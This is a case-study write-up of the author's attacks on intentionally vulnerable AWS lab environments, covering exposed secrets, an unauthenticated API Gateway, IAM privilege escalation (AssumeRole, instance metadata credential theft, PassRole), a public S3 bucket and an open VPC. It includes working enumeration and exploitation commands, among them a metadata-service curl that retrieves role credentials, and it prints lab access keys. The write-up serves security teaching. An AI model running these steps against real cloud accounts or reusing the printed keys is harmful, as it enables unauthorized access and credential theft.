case study
Attacks
I performed a series of controlled attacks against intentionally vulnerable AWS environments to demonstrate how cloud misconfigurations can be discovered and exploited. These scenarios cover exposed secrets, insecure APIs, excessive IAM permissions, public S3 storage, EC2 metadata exposure, and weak VPC network controls, demonstrating realistic attack paths from initial discovery through unauthorized access and privilege escalation.
#Hardcoded Secrets in AWS
-projectzero-prod-vpc has been created with subnets configured.
-My-Desktop-Key-Pair key pair exists.
I deployed an intentionally vulnerable AWS environment to simulate a hardcoded secrets exposure scenario. The environment uses a CloudFormation template to provision the resources required for the attack path, including an EC2 instance and an exposed S3 configuration bucket.
1.Deploy Vulnerable Environment
I deployed the hardcoded-secrets CloudFormation template into projectzero-prod-vpc to create the intentionally vulnerable AWS resources used for the attack simulation.
Configure Parameters:
-Stack Name: delete-me-hardcoded-secrets-1
-Key Pair: My-Desktop-Key-Pair
-VPC: projectzero-prod-vpc
-Subnet: Public subnet
2.Access the Vulnerable EC2 Instance
After the CloudFormation deployment completed, I retrieved the public IP address of the provisioned EC2 instance in preparation for connecting to the host and configuring the vulnerable application.
# Get the EC2 instance public IP
PUBLIC_IP=$(awscloudformationdescribe-stacks\
--stack-namehardcoded-secrets\
--query'Stacks[0].Outputs[?OutputKey==`EC2PublicIP`].OutputValue'\
--outputtext)
echo"EC2 Public IP:$PUBLIC_IP"Using the public IP retrieved from the CloudFormation stack outputs, I connected to the provisioned EC2 instance over SSH using the configured key pair.
ssh -i ~/.ssh/My-Desktop-Key-Pair.pem ec2-user@$PUBLIC_IP
3.Initialize the Vulnerable Application
I executed the provided setup script on the EC2 instance to initialize the intentionally vulnerable web application and prepare the environment for the hardcoded secrets attack scenario.
sudo ./setup-vulnerable-app.sh
4.Verify the Application is Running
After initialization, I verified that the web application was accessible over port 8080. The application was running successfully and exposed only a basic landing page, providing the starting point for subsequent enumeration.
5.Enumerate the Web Application
I performed directory enumeration against the web application using Gobuster and identified several exposed endpoints, including /health, /config, and /env. The /config and /env endpoints were particularly significant because they exposed application configuration and credential information.
gobuster dir -u http://51.20.76.240:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
6.Investigate Exposed Configuration
I manually inspected the discovered endpoints and found that /config disclosed information about an S3-hosted configuration file, while /env directly exposed hardcoded database and AWS credentials. This demonstrated how sensitive application configuration could be accessed without authentication.
7.Enumerate the Exposed S3 Bucket
Using the S3 bucket information exposed by the application, I tested anonymous access to the bucket and successfully enumerated the config/ prefix. This revealed an accessible app-config.json configuration file.
aws s3 ls s3://delete-me-hardcoded-secrets-1-secrets-261414899169 --no-sign-request
aws s3 ls s3://delete-me-hardcoded-secrets-1-secrets-261414899169/config --no-sign-request
aws s3 ls s3://delete-me-hardcoded-secrets-1-secrets-261414899169/config/ --no-sign-request8.Retrieve Exposed Configuration
I downloaded the publicly accessible app-config.json file without AWS authentication and inspected its contents. The configuration contained additional hardcoded database and AWS credentials, demonstrating how the S3 exposure extended the application's secret leakage beyond the web endpoints.
cat app-config.json
#Insecure API Gateway
-projectzero-prod-vpc has been created with subnets configured.
-My-Desktop-Key-Pair key pair exists.
I deployed a deliberately insecure REST API Gateway to simulate a cloud application exposed without authentication. The environment was intentionally configured with public API access and weak backend security controls, allowing me to test the API from an unauthenticated attacker perspective.
1.Deploy Insecure API Gateway
I deployed the insecure-api-gateway.yaml CloudFormation template using the insecure-api-gateway stack. The template provisions a publicly accessible REST API Gateway with no API key or IAM authentication, backed by a Lambda function with intentionally excessive S3 and DynamoDB permissions. The API is also deployed without rate limiting or throttling, creating an intentionally vulnerable environment for testing insecure API access.
2.Verify Public API Access
I sent an unauthenticated request directly to the API Gateway Invoke URL and received a successful response, confirming that the API was publicly reachable.
curl https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod
3.Verify Missing Authentication Controls
I sent an unauthenticated request to inspect the API response headers. The endpoint returned HTTP/2 200 without requiring an API key, IAM credentials, or authorization token, confirming that authentication was not enforced.
curl -I https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod
##Enumeration Phase
1.Enumerate API Endpoints
I queried several likely API paths to identify accessible endpoints and analyze the information returned by the application. The /users, /data, and /admin endpoints exposed useful information, including user records, application data, API keys, database connection details, AWS credentials, and administrative functionality.
curl https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/api; echo
curl https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/v1; echo
curl https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/users; echo
curl https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/data; echo
curl https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/admin; echo2.Test Supported HTTP Methods
I tested additional HTTP methods against the exposed /users endpoint to determine which operations were available without authentication. While several methods were rejected, an unauthenticated POST request successfully created a new user, demonstrating that the API exposed write functionality without enforcing authorization.
curl https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/users; echo
curl -X GET https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/users; echo
curl -X POST https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/users; echo
curl -X DELETE https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/users; echo
curl -X PATCH https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/users; echo3.Enumerate Individual User Data
I queried the newly created user3 account directly and retrieved its user details, including the assigned role, permissions, and API key, confirming that individual account information could also be accessed through the exposed API.
curl -X GET https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/users/user3; echo##Exploitation Phase
After identifying exposed endpoints and unsupported access controls during enumeration, I used the discovered API functionality to demonstrate the impact of the misconfiguration. The exposed API allowed sensitive administrative information to be retrieved and resources to be created without authentication.
1.Extract Sensitive Administrative Data
I accessed the exposed /admin endpoint without authentication and retrieved administrative information, including database connection details and AWS credentials. This demonstrated that sensitive backend configuration data was directly accessible through the public API.
curl https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/admin2.Perform Unauthorized User Creation
I tested unauthenticated POST requests against the /users endpoint to determine whether new accounts could be created and assigned elevated privileges. The initial request successfully created user4, although the requested admin role was not applied. I then submitted a second request that successfully created the attacker account with the admin role, demonstrating unauthorized account creation and privilege assignment through the exposed API.
curl -X POST https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/users/ \
-H "Content-Type: application/json" \
-d '{"username":"attacker","role":"admin"}'curl -X POST https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/users \
-H "Content-Type: application/json" \
-d '{"username":"attacker","role":"admin"}'3.Assess Backend Exposure
The API responses exposed AWS credential material and indicated that the backend Lambda function had access to S3 and DynamoDB resources. Because the credentials used in the lab were intentionally nonfunctional, I did not attempt to authenticate to AWS with them or validate the backend permissions directly.
4.Security Impact
This scenario demonstrated how an unauthenticated API Gateway can expose sensitive backend information and allow unauthorized operations. Combined with excessive Lambda permissions, the misconfiguration could lead to data exposure, unauthorized modification, lateral movement, or broader access to AWS resources if valid credentials were compromised.
#Insecure IAM Permissions
I deployed an intentionally vulnerable AWS IAM environment to demonstrate how excessive permissions and weak role configurations can create a privilege-escalation path. The lab is structured as a chained attack scenario in which each IAM misconfiguration provides the access required to progress to the next stage.
1.Deploy Vulnerable IAM Environment
I deployed the insecure-iam-permissions CloudFormation stack to create the intentionally vulnerable IAM environment. The stack provisions a restricted lab user, an overly permissive admin role, an EC2 instance with wildcard (:*) S3 and EC2 permissions, a sensitive S3 bucket, a user with iam:PassRole, and a privileged role that serves as the final escalation target.
2.Verify Lab Resources
I reviewed the CloudFormation stack outputs to verify that the resources required for each stage of the attack chain were successfully provisioned, including the lab user credentials, admin role, EC2 instance, sensitive S3 bucket, vulnerable IAM user, and privileged role.
3.Configure the Initial Lab User
I configured a dedicated AWS CLI profile using the lab user's access credentials and verified the active identity with AWS STS. This restricted IAM user serves as the initial access point for the attack chain and has limited permissions to enumerate IAM resources and assume the vulnerable admin role.
aws configure set aws_access_key_id <LabUserAccessKeyId> --profile lab-user
aws configure set aws_secret_access_key <LabUserSecretAccessKey> --profile lab-user
aws configure set region us-north-1 --profile lab-user
aws sts get-caller-identity --profile lab-user##Scenario 1: Assume an Overly Permissive Admin Role
1.Enumerate IAM Roles
I used the restricted lab-user profile to enumerate IAM roles and identified the admin role as a potential privilege-escalation target.
Lists every role in the account:
aws iam list-roles --query 'Roles[*].[RoleName,Arn]' --output table --profile lab-user2.Identify Excessive Permissions
I enumerated the inline policies attached to the admin role and inspected the FullAccessPolicy. The policy allowed all actions (Action: "*") against all resources (Resource: "*"), effectively granting unrestricted administrative access.
aws iam list-role-policies --role-name admin --profile lab-user
aws iam get-role-policy --role-name admin --policy-name FullAccessPolicy --profile lab-user3.Assume the Admin Role
I used the lab user's permitted sts:AssumeRole capability to assume the vulnerable admin role. AWS STS returned temporary credentials consisting of an AccessKeyId, SecretAccessKey, and SessionToken.
aws sts assume-role --role-arn arn:aws:iam::261414899169:role/admin --role-session-name ctf-admin --profile lab-user4.Verify Privilege Escalation
I exported the temporary STS credentials and queried the active AWS identity. The returned ARN confirmed that the session was operating as the assumed admin role, completing the privilege escalation from the restricted lab user to full administrative access.
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<SessionToken>
aws sts get-caller-identity##Scenario 2: Exploit Wildcard EC2 and S3 Permissions
With admin credentials you can see all resources, including an EC2 instance that has a role with wildcard S3 and EC2 permissions. Get onto that instance and steal its credentials. From there we could use them to access S3 or other AWS resources (e.g. list buckets, read the sensitive bucket).
1.Identify the EC2 Instance
Using the administrative access obtained in Scenario 1, I enumerated EC2 instances and identified an instance associated with the insecure-iam-perms-wildcard-permissions-role instance profile. This instance became the target for obtaining its attached IAM role credentials.
aws ec2 describe-instances --query 'Reservations[*].Instances[*].[InstanceId,PublicIpAddress,IamInstanceProfile.Arn]' --output table2.Access the EC2 Instance
I connected to the identified EC2 instance over SSH using the configured lab key pair, gaining shell access to the instance hosting the vulnerable IAM role.
ssh -i ~/.ssh/My-Desktop-Key-Pair.pem ec2-user@13.63.146.643.Retrieve and Verify Instance Role Credentials
From the compromised EC2 instance, I queried the instance metadata service to retrieve the temporary credentials associated with its IAM role. I then exported the returned AccessKeyId, SecretAccessKey, and Token and verified the active AWS identity, confirming access as the insecure-iam-perms-wildcard-permissions-role.
ROLE_NAME=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME4.Access S3 with the Compromised Role
I used the compromised EC2 role credentials to enumerate S3 buckets. The request succeeded and exposed the available buckets, including the lab's sensitive S3 bucket, demonstrating the impact of the role's wildcard S3 permissions.
aws s3 ls
##Scenario 3: Privilege Escalation via PassRole
Using credentials for the vulnerable IAM user, I investigated its assigned permissions and identified a privilege-escalation path through iam:PassRole. The user could pass a highly privileged IAM role to an EC2 instance, creating a path to obtain the privileged role's credentials through the EC2 Instance Metadata Service (IMDS).
1.Configure the Vulnerable User
I configured a dedicated AWS CLI profile using the vulnerable user's access keys from the CloudFormation stack outputs and verified the active identity with AWS STS.
aws configure set aws_access_key_id AKIATZXMKZXQ6VOZFWG2 --profile vuln-lab-user
aws configure set aws_secret_access_key "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" --profile vuln-lab-user
aws configure set region eu-north-1 --profile vuln-lab-user
aws sts get-caller-identity --profile vuln-lab-userUser: insecure-iam-perms-vulnerable-user
2.Identify the PassRole Privilege-Escalation Path
I reviewed the vulnerable user's IAM policy and confirmed that it allowed iam:PassRole and ec2:RunInstances. These permissions allow the user to pass an IAM role to a newly launched EC2 instance, creating a privilege escalation path if a more privileged role can be assigned.
aws iam list-user-policies --user-name insecure-iam-perms-vulnerable-user
aws iam get-user-policy --user-name insecure-iam-perms-vulnerable-user --policy-name PassRolePolicy
aws iam list-instance-profiles --query 'InstanceProfiles[*].[InstanceProfileName,Roles[0].RoleName]' --output table3.Launch an EC2 Instance with the Privileged Role
Using the vulnerable user's permissions, I launched a new EC2 instance and assigned the privileged IAM instance profile to it. The successful launch confirmed that the vulnerable user could pass the higher-privileged role to an EC2 instance, providing a path to the privileged role's AWS credentials through instance metadata.
SUBNET_ID=<PublicSubnetId from Outputs>
SG_ID=<SecurityGroupId from Outputs>
PROFILE_NAME=<PrivilegedInstanceProfileName from Outputs>
aws ec2 run-instances \
--image-id ami-0ef91fd8b3791aac0 \
--instance-type t3.micro \
--iam-instance-profile Name=$PROFILE_NAME \
--key-name My-Desktop-Key-Pair \
--subnet-id $SUBNET_ID \
--security-group-ids $SG_IDThe successful instance launch confirmed that the vulnerable user could use iam:PassRole to attach the privileged IAM role to a new EC2 instance. From this point, an attacker could access the instance and retrieve the role's temporary credentials from the instance metadata service, completing the privilege escalation to administrative access.
#Exploit Misconfigured S3 Bucket
I deployed a deliberately misconfigured Amazon S3 bucket with public read access and populated it with simulated sensitive data. I then demonstrated how an unauthenticated attacker could discover the exposed bucket, enumerate its contents, and retrieve sensitive files without AWS credentials.
1.Deploy the Misconfigured S3 Bucket
I deployed the misconfigured-s3-bucket.yaml CloudFormation template to create a deliberately exposed S3 bucket. The bucket was configured to permit public access, creating a realistic cloud storage misconfiguration that could allow unauthenticated users to discover and access stored objects.
2.Populate the Bucket with Sensitive Test Data
I populated the bucket with simulated sensitive data representing information commonly exposed through insecure cloud storage, including database credentials, customer records, access logs, and API keys. The files were organized across config/, backups/, logs/, and secrets/ prefixes to simulate a realistic storage environment.
# Get the bucket name from CloudFormation outputs
BUCKET_NAME=$(aws cloudformation describe-stacks \
--stack-name misconfigured-s3-bucket \
--query 'Stacks[0].Outputs[?OutputKey==`BucketName`].OutputValue' \
--output text)
# Create sample sensitive files
echo '{"db_host":"prod-database.internal","db_user":"admin","db_password":"SuperSecretPassword123!","db_name":"customer_data"}' > /tmp/database-credentials.json
echo 'user_id,email,ssn,credit_card
1,user@example.com,123-45-6789,4532-1234-5678-9010
2,admin@company.com,987-65-4321,5555-1234-5678-9010' > /tmp/user-data-backup.csv
echo '2024-01-15 10:30:45 - Admin accessed sensitive data
2024-01-15 10:31:12 - User downloaded customer records
2024-01-15 10:32:00 - Database backup completed' > /tmp/access-logs.txt
echo 'AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
API_KEY=sk_live_51HqSOFKmS3g3E5rK9XpZ8dN2vL6mQ7wT4yU9i' > /tmp/api-keys.txt
# Upload files to S3
aws s3 cp /tmp/database-credentials.json s3://$BUCKET_NAME/config/database-credentials.json
aws s3 cp /tmp/user-data-backup.csv s3://$BUCKET_NAME/backups/user-data-backup.csv
aws s3 cp /tmp/access-logs.txt s3://$BUCKET_NAME/logs/access-logs.txt
aws s3 cp /tmp/api-keys.txt s3://$BUCKET_NAME/secrets/api-keys.txt
# Clean up local files
rm /tmp/database-credentials.json /tmp/user-data-backup.csv /tmp/access-logs.txt /tmp/api-keys.txt
3.Verify Unauthenticated Public Access
I tested the S3 bucket using an unsigned request and confirmed that its contents could be listed without AWS credentials. The successful response exposed the backups/, config/, logs/, and secrets/ prefixes, confirming that the bucket permitted public read access.
aws s3 ls s3://delete-me-projectzero-leaky-bucket --no-sign-request
4.Enumerate Exposed S3 Objects
After confirming public access, I enumerated the bucket contents to identify potentially sensitive objects. The results exposed database credentials, customer backup data, access logs, and API keys across multiple S3 prefixes.
# List all objects
aws s3 ls s3://delete-me-projectzero-leaky-bucket --recursive --no-sign-request
# Get detailed information about objects
aws s3api list-objects-v2 \
--bucket delete-me-projectzero-leaky-bucket \
--no-sign-request \
--query 'Contents[*].[Key,Size,LastModified]' \
--output table5.Extract Exposed Database Credentials
I downloaded the exposed database-credentials.json object using an unsigned request and inspected its contents. The file revealed simulated production database connection information, including an administrative username and password, demonstrating how the S3 misconfiguration could lead directly to sensitive credential exposure.
#Metadata SSRF Attack on EC2
Using URLs to exploit the medatada service
#Open VPC Configuration
I deployed a deliberately vulnerable AWS VPC containing a public EC2 instance protected by overly permissive network controls. The environment exposed multiple high-value ports to the internet through an open security group and permissive Network ACL, demonstrating how weak network configuration can unnecessarily increase the attack surface of cloud infrastructure.
1.Deploy the Vulnerable VPC
I deployed the open-vpc.yaml CloudFormation template, which created a vulnerable VPC with a public subnet and internet-facing EC2 instance. The environment intentionally used an overly permissive security group exposing high-value ports and a permissive Network ACL allowing unrestricted traffic.
2.Verify External Exposure
I tested connectivity to the EC2 instance from an external system to determine whether services were reachable from the internet. SSH (22) and HTTP (80) were externally accessible, confirming that the security group permitted inbound connections from untrusted networks.
3.Enumerate Exposed Services
I enumerated several high-value ports and services exposed by the EC2 instance. SSH and HTTP were reachable, while other tested ports did not have active services listening. The results demonstrate that permissive security group rules can expose any service that becomes available on an allowed port.
4.Security Impact
The VPC configuration unnecessarily exposes an internet facing EC2 instance through overly permissive security group and Network ACL rules. Although only actively listening services were reachable during testing, allowing high value ports from unrestricted sources increases the attack surface and could expose SSH, RDP, databases, or other services to reconnaissance and attack if those services become active.
#Why This Matters
These attacks demonstrate how common AWS misconfigurations can expose sensitive data, credentials, and infrastructure. When combined, weaknesses in IAM, APIs, storage, networking, and credential management can create attack paths leading to unauthorized access and privilege escalation.





















































